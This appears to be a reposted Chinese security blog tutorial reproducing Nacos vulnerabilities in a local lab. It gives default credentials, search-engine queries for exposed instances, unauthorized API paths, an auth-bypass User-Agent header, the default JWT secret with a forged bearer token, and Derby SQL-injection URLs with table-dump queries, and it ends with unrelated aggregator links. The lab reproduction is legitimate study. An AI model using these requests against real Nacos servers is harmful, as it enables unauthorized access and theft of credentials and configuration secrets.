上心师傅的思路分享(三)--Nacos渗透

目录

1. 前言

2. Nacos

2.1 Nacos介绍

2.2 鹰图语法

2.3 fofa语法

2.3 漏洞列表

未授权API接口漏洞

3 环境搭建

3.1 方式一:

3.2 方式二: 

3.3 访问方式

4. 工具监测

5. 漏洞复现

5.1 弱口令

 5.2 未授权接口

5.3.1 用户信息 API

5.3.2 集群信息 API

5.3.3 配置信息 API

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

5.4.1 验证漏洞

 5.4.2 构造JWT token

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

5.5.1 漏洞复现:

 5.5.2 工具复现

5.5.3 一些常用的查询语句

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

6.其他利用方式

7.总结 


1. 前言

        最近回顾看一下上心师傅在上课时分享的渗透思路,因为本次的这个利用方式之前是了解过,Ctf比赛遇到过,但是当时的我还是小白一个对此完全不懂,而在经过上心师傅的分享后,发现其实原理自己懂,但是一直没有利用和学习过,刚好上心师傅讲了,那就认真学习同时复现一下吧.

        刚好也对漏洞环境搭建做一个练习,毕竟一名合格的安全测试人员,除了在实战环境下复现,也需要自行搭建真实环境进行漏洞复现测试,避免在实战环境下影响业务.

免责声明

        博文中涉及的方法可能带有危害性,博文中的图片中的域名展示仅供参考,并不具有威胁性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.

        下面是上心师傅上课讲的一些思路总结,以及我自己对这个漏洞学习到的一些总结和梳理.

2. Nacos

2.1 Nacos介绍

        Nacos 是阿里巴巴推出来的一个开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

        但是Nacos是部署在内网的,因此下面通过语法搜索出来的可以看到的,一般会做访问限制的,正常是访问不到的,如果可以访问就可以尝试是否存在漏洞了.当然如果直接在真实环境下测试,一是未授权行为,二是不容易找到复现环境,所以在本地搭建环境来进行复现是最安全,也是最容易

2.2 鹰图语法

app.name="Nacos" 

2.3 fofa语法

app="Nacos" && icon_hash="1227052603" && country="CN"

2.3 漏洞列表

Nacos控制台默认口令漏洞

漏洞影响版本:所有版本

nacos/nacos
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
未授权API接口漏洞

用户信息 API:      /nacos/v1/auth/users?pageNo=1&pageSize=5 (pageSize和pageNo根据数据量自行更改)

集群信息 API:   /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

配置信息 API:  /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=

&search=accurate&accessToken=&username=

Nacos token.secret.key默认配置(QVD-2023-6271)

漏洞影响版本: 0.1.0 <= Nacos <= 2.2.0

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt

 Nacos User-Agent权限绕过(CVE-2021-29441)

漏洞影响版本: Nacos <= 2.0.0-ALPHA.1

http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur 

这个版本环境很低,需要的师傅可以搭建环境自行复现

 
Nacos-client Yaml反序列化漏洞  
漏洞影响版本: Nacos-Client < 1.4.2
具体看下面复现

Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

漏洞影响版本:1.4.0 <= Nacos < 1.4.6 和 2.0.0 <= Nacos < 2.2.3

开放7848端口
Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

derby数据库

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

nacos+spring  actuator 如果从nacos无法突破, 从actuator中的heapdump获取密码 /actuator/heapdump进行分析尝试获取密码,然后再进入nacos

3 环境搭建

                          本次Nacos漏洞复现环境都是在Linux环境下进行复现的

3.1 方式一:

直接下载

下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz进入目录
cd nacoscd 进入nacos的bin目录启动./startup.sh -m standalone
关闭
./shutdown.sh

3.2 方式二: 

        因为自己的环境出了问题,导致无法用命令下载github的文件,于是通过下面的方式解决,这里我只做复现和分析就不写这种方式了,下面这个师傅的文章比较详细,可以跟着学习和使用.

Kali设置/挂载共享文件夹_kali开机自动挂载共享文件夹-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Ahuuua/article/details/108584355        直接浏览器访问下面的链接,当然直接访问会比较慢,可以通过科学方式加速

https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz

        然后把下载好的文件放入共享文件夹,最后移动到自己常用的位置,然后在文件目录下按照下面的操作.

 
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz进入目录
cd nacoscd 进入nacos的bin目录启动./startup.sh -m standalone关闭
./shutdown.sh

3.3 访问方式

ifconfig  # 注意和win查本机ip的方式有点不同访问ip:8848/nacos/#/login

                        下面我的测试环境都是以搭建的虚拟机环境ip地址为准 

访问环境地址,出现下面的界面,代表搭建环境成功.

4. 工具监测

        在复现环境前,因为这个搭建的环境是比较老的版本,到目前为止发现的所有历史漏洞应该都是存在的,先用工具扫描一下,进行尝试,上心师傅推荐的这个工具比较好用,建议用最新版的,监测的poc会多一点.

charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用 (github.com)icon-default.png?t=N7T8https://github.com/charonlight/NacosExploitGUI        可以看一下漏洞描述,初步了解需要复现的漏洞原理,如果遇到不知道的,可以自行去搜索详细的文章进行学习.

java -jar NacosExploitGUI_v4.0.jar

                                因为是老版本,所以包含所有历史漏洞,扫描结果如下:

5. 漏洞复现

5.1 弱口令

                        Nacos控制台默认口令为nacos/nacos,遇到了可以先尝试一下

一般会存在一个test/test的用户,也可以进行尝试

 5.2 未授权接口

                        在未登录情况下的登录界面直接拼接下面的api接口

5.3.1 用户信息 API

/nacos/v1/auth/users?pageNo=1&pageSize=5

        这里因为没有添加用户,所以就一个用户,如果有很多用户的话,可以尝试其他用户的弱口令

        显然密码是加密的,并且我之前遇到过一个系统也是这样加密的,搜索和学习后,发现是无法解密的密码,这里只能通过尝试常见的弱口令,或是账号和密码一样看能否进入了.

5.3.2 集群信息 API

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

5.3.3 配置信息 API

通过看别的师傅的一些挖掘案例文章发现这个接口和上面的用户信息接口一样很重要,并且还有可能会出现一些重要的配置信息,例如:接口在未授权的情况下可能会暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若存在云环境、文件系统,还可能暴露各种key

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

验证漏洞

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

 在浏览器直接访问是get请求:

http://192.168.10.14:8848/nacos/v1/auth/users

        在burp的历史包中,将访问请求发送到重放模块,然后更改请求方式为post,修改User-Agent为Nacos-Server,至于为什么是username=xiaoyu&password=xioayu  参数你可以在登录界面抓一个包就知道为什么是这个格式了.

                                                             用xiaoyu/xiaoyu进行登录

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

        复现这个漏洞的话通过Nacos版本 <= 2.2.0的才是正确的复现环境,但是老版本也是存在这个漏洞的,本来不想搭建这个环境,结果老版本工具可以监测到,但是自己复现无法成功,于是,直接用老搭建一个新的环境,需要的师傅自行搭建复现,其他搭建和上面的操作是一致的.

环境地址:https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

                                        注意需要先开启鉴权,不然登录是不需要使用JWT的

        Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。

密钥的固定的默认值

SecretKey012345678901234567890123456789012345678901234567890123456789

5.4.1 验证漏洞

                        这个是2.2.0比前面的2.0.0多了一行红字,内部系统,不可暴露到公网

        不带jwt直接访问如下地址,看别的师傅都说,正常是返回403,但是我是老版本,也会出现信息,结果我尝试了2.2.0还是会返回下面的信息,此时我已经懵逼了

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=5&search=accurate

        2.2.0版本未经过鉴权的话进行测试发现也会出现下面的信息,并且可以进行一些列的操作,比如说直接添加用户,删除用户等等.

 老版本的话,会出现下面的信息,有我前面复现漏洞添加的新用户

 5.4.2 构造JWT token

先访问接口

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

其中exp是时间戳,利用下面部分进行伪造令牌,然后进行尝试

exp是时间戳,需要把时间戳改为大于当前时间,建议直接改为明天的时间

默认泄露了key,就是下面的全部

SecretKey012345678901234567890123456789012345678901234567890123456789

{"sub": "nacos","exp": 1718012869 
}

        时间戳修改为比当前时间晚一天就可以了,生成一个比当前时间晚一天的时间戳,写博文的时候当前日期为6月9日,时间戳改为6月10日

 按图所示填写对应的palyload和key,拿到伪造的JWT

JWT构造网站
https://jwt.io/  
时间戳生成网站
https://tool.lu/timestamp/

 在JWT页面伪造好数据包后,就可以尝试在登录界面随意抓包,然后在数据包中添加下面的语句,

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODAyMDM4Nn0.UpyKSCj74oARPBP23X0TnAtWI6i3OKhr3XsaqfMSkL0

        重新抓一个登录的包,拦截返回包,将上面将返回的数据,替换重新抓的拦截包里的数据,然后发包就会进行后台界面

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

这个还是在2.0.0环境下进行复现的,当然也可以使用工具进行测试

        Nacos config server 中有未鉴权接口,执行 SQL 语句可以查看敏感数据,可以执行任意的 SELECT 查询语句。使用derby数据库进行部署的Nacos.

5.5.1 漏洞复现:

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st

 5.5.2 工具复现

5.5.3 一些常用的查询语句

select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
User-Agent: Nacos-Server
serverIdentity: security 

正常情况下:

 在请求头中添加绕过后,出现下面的信息,说明权限绕过了

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

        这两种漏洞需要在一定的环境下才有存在的可能,而在本地环境的话,目前我是无法达到复现效果的,所以无法复现,可以看这位佬的,有对漏洞的详细解释,当然也可以借助上面的那款工具进行进一步利用.

Nacos 漏洞利用总结 | h0ny's blogicon-default.png?t=N7T8https://h0ny.github.io/posts/Nacos-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/

6.其他利用方式

        可以在Nacos的后台的配置文件中尝试寻找是否存在暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若是存在云环境、文件系统,还可能暴露各种key,都是可以进行链接和利用的,看是否能进行存储桶接管.

7.总结 

        本次是对上心师傅所讲的漏洞进行一次总结,同时对环境搭建与复现过程中,其实也遇到了很多问题,都一点一点解决了,虽然有点艰辛,但是完成的时候还是很快乐的,继续加油.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/349413.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

kubernetes(k8s)集群部署(2)

目录 k8s集群类型 k8s集群规划&#xff1a; 1.基础环境准备&#xff1a; &#xff08;1&#xff09;保证可以连接外网 &#xff08;2&#xff09;关闭禁用防火墙和selinux &#xff08;3&#xff09;同步阿里云服务器时间&#xff08;达到集群之间时间同步&#xff09; &…

pytest并发执行时token异常处理问题

接前面加入钩子函数处理token复用的问题&#xff0c;只保证了用例的串联执行&#xff0c;我的部分测试用例中接入了通义千问的部分接口生成测试数据&#xff0c;七八个场景跑完差不多快要10分钟。考虑使用并发执行。 http://t.csdnimg.cn/ACexL 使用多线程和不使用耗时差距很大…

HyperBDR新版本上线,自动化容灾兼容再升级!

本次HyperBDR v5.5.0版本新增完成HCS&#xff08;Huawei Cloud Stack&#xff09;8.3.x和HCSO&#xff08;Huawei Cloud Stack Online&#xff09;自动化对接&#xff0c;另外还突破性完成了Oracle云(块存储模式)的自动化对接。 HyperBDR&#xff0c;云原生业务级别容灾工具。支…

Unity资源 之 最受欢迎的三消游戏开发包 - Bubble Shooter Kit 【免费领取】

三消游戏开发包 - Bubble Shooter Kit 免费领取 前言资源包内容领取兑换码 前言 如果你是一名 Unity 游戏开发者&#xff0c;并且正在寻找一种快速、简单的方式来创建自己的三消游戏&#xff0c;那么 Bubble Shooter Kit 就是你所需要的。 资源包内容 Bubble Shooter Kit 是…

代码随想录算法训练营第36期 last day

最后一次更新&#xff0c;之后去复习专业课和简历 583两个字符串的删除操作 自己做出来了&#xff1a; Code: class Solution {public://找到公共子序列的最大长度dp 最小步数串1.size-dp串2.size-dp int minDistance(string word1, string word2) { vector<v…

用智能插件(Fitten Code: Faster and Better AI Assistant)再次修改vue3 <script setup>留言板

<template><div><button class"openForm" click"openForm" v-if"!formVisible">编辑</button><button click"closeForm" v-if"formVisible">取消编辑</button><hr /><formv-i…

基于梯度下降的多元线性回归原理

为了展示多元线性回归的迭代过程&#xff0c;我们可以使用梯度下降算法手动实现多元线性回归。梯度下降是一种迭代优化算法&#xff0c;用于最小化损失函数。 我们将以下步骤进行手动实现&#xff1a; 初始化回归系数。计算预测值和损失函数。计算梯度。更新回归系数。重复步…

高分论文密码---大尺度空间模拟预测与数字制图

大尺度空间模拟预测和数字制图技术和不确定性分析广泛应用于高分SCI论文之中&#xff0c;号称高分论文密码。大尺度模拟技术可以从不同时空尺度阐明农业生态环境领域的内在机理和时空变化规律&#xff0c;又可以为复杂的机理过程模型大尺度模拟提供技术基础。我们将结合一些经典…

制造业几大系统(MES/WMS/QMS/ERP)的集成

制造业的几大系统包括MES&#xff08;制造执行系统&#xff09;、WMS&#xff08;仓库管理系统&#xff09;、QMS&#xff08;质量管理系统&#xff09;和ERP&#xff08;企业资源计划&#xff09;系统。这些系统在制造业中扮演着不同的角色&#xff0c;可以通过集成实现更高效…

Kafka高频面试题整理

文章目录 1、什么是Kafka?2、kafka基本概念3、工作流程4、Kafka的数据模型与消息存储机制1)索引文件2)数据文件 5、ACKS 机制6、生产者重试机制:7、kafka是pull还是push8、kafka高性能高吞吐的原因1&#xff09;磁盘顺序读写&#xff1a;保证了消息的堆积2&#xff09;零拷贝机…

SqlSugar有实体CURD应用-C#

本文所述开发环境&#xff1a;.C#、NET8、Visual Studio2022 SqlSugar有实体查询数据表 首先根据《SqlSugar使用DbFirst对象根据数据库表结构创建实体类-C#》中的描述的表结构创建所有表的实体类如下&#xff1a; 表名创建的实体类名tb_studentStudenttb_teacherTeachertb_c…

linux的UDP广播测试:C语言代码

测试代码 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h>#…

MyEclipse新手使用介绍

目录 1.MyEclipse诞生背景 2.作用 3.版本历史 4.优缺点 5.应用场景 6.如何使用 6.1.下载与安装 6.2.MyEclipse 菜单及其菜单项 7.创建和发布一个 Java 程序 7.1.创建 Java 程序 7.2.发布 Java 程序 8.示例 8.1. Hello World 示例 8.2. 简单Spring Boot 应用 8.3…

kettle从入门到精通 第六十九课 ETL之kettle kettle cdc mysql,轻松实现增量同步

1、之前kettle cdc mysql的时候使用的方案是canalkafkakettle&#xff0c;今天我们一起学习下使用kettle的插件Debezium直接cdc mysql。 注&#xff1a;CDC (Change Data Capture) 是一种技术&#xff0c;用于捕获和同步数据库中的更改。 1&#xff09;Debezium步骤解析mysql b…

鸿蒙轻内核Kconfig使用笔记

鸿蒙轻内核使用Kconfig进行图形化配置&#xff0c;本文专门讲解下鸿蒙轻内核LiteOS-M和LiteOS-A的图形化配置方法。本文中所涉及的源码&#xff0c;均可以在开源站点 https://gitee.com/openharmony/kernel_liteos_a 、 https://gitee.com/openharmony/kernel_liteos_m 获取。本…

Spring AI 接入OpenAI实现文字生成图片功能

Spring AI 框架集成的图片大模型 2022年出现的三款文生图的现象级产品&#xff0c;DALL-E、Stable Diffusion、Midjourney。 OpenAI dall-e-3dall-e-2 Auzre OpenAI dall-e-3dall-e-2 Stability stable-diffusion-v1-6 ZhiPuAI cogview-3 OpenAI 与 Auzer OpenAI 使用的图片…

【FreeRTOS】创建任务-声光色影

参考《FreeRTOS入门与工程实践(基于DshanMCU-103).pdf》 目录 1 基本概念2 任务创建与删除2.1 什么是任务2.2 创建分配内存2.2.1 动态任务2.2.1 静态分配内存 2.3 示例1: 创建任务2.3.1 声2.3.1.1 music.c2.3.1.2 music.h2.3.1.4 硬件接线 2.3.2 光2.3.3 色2.3.4 影 在本章中&a…

DC12V升压24V/5A电流 布控球产品应用 升压恒压SL4010耐压40V芯片

随着科技的不断发展&#xff0c;布控球作为一种高效、精准的安全监控设备&#xff0c;被广泛应用于公安、消防、交通等多个领域。然而&#xff0c;布控球在工作过程中需要稳定的电源供应&#xff0c;以保证其正常运行和长期稳定性。因此&#xff0c;一款性能优良的升压恒压芯片…

WindTerm使用SSH密钥连接阿里云实例,服务器设置SSH密钥登录

安装Windterm 地址https://github.com/kingToolbox/WindTerm/releases 下载完放到文件夹就可以打开 阿里云开启密钥对 打开阿里云ecs控制台 https://ecs.console.aliyun.com/keyPair/region/cn-wulanchabu 网络与安全->密钥对&#xff0c;创建密钥对&#xff0c;创建成…

《现代通信原理与技术》--数字信号的最佳接收实验报告

《现代通信原理与技术》 数字信号的最佳接收实验报告 实 验&#xff1a;数字信号的最佳接收实验报告 目录 摘要......................................................................................................3 引言........................................…